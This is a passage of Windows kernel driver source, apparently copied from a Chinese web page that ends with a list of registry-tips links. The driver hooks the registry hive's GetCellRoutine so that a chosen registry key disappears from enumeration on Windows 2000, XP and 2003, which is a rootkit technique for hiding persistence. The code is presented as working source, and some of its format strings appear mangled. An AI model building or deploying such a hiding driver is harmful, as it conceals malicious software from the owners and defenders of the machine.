}
else
{
// 一般叶索引 , 返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, lx) = %lxn", Hive, Cell, pRet);
// 查询、保存并返回其父键的最后一个子键的节点
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lxn", g_LastNode);
// 隐藏的正是最后一个节点 , 返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一个节点
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, lx) = %lxn", Hive, Cell, pRet);
// 清空保存值 , 并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
DbgPrint("DriverUnload()n");
// 解除挂钩
if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
ULONG BuildNumber;
ULONG KeyHiveOffset;;;;;// KeyControlBlock->KeyHive
ULONG KeyCellOffset;;;;;// KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
DbgPrint("DriverEntry()n");
pDrvObj->DriverUnload = DriverUnload;
// 查询BuildNumber
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
DbgPrint("BuildNumber = %dn", BuildNumber);
// KeyControlBlock结构各版本略有不同
// Cell的值一般小于0x80000000 , 而Hive正相反 , 以此来判断也可以
switch (BuildNumber)
{
case 2195:;;// Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600:;;// WinXP
case 3790:;;// Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
// 打开需隐藏的键
hKey = OpenKeyByName(g_HideKeyName);
// 获取该键的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中 , 保存原地址
g_ppGetCellRoutine = &Hive->GetCellRoutine;
g_pGetCellRoutine = Hive->GetCellRoutine;
DbgPrint("GetCellRoutine = %lxn", g_pGetCellRoutine);
// 获取需隐藏的节点并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 挂钩GetCell例程
Hive->GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}
推荐阅读
- 解决注册表被恶意锁定问题
- 2 我教你学之系统性能优化注册表修改实例
- 修改注册表代码 快速杀掉让网速变慢的插件
- 用注册表全方位掌控爱机
- 山东注册会计师考试时间
- 鞋舌头跑偏怎么办?
- 系统维护四步曲之:注册表维护
- 安全恢复Win 98系统的注册表
- 注册表减肥要小心 优化工具不一定好用
- 注册表的禁用及启用方法
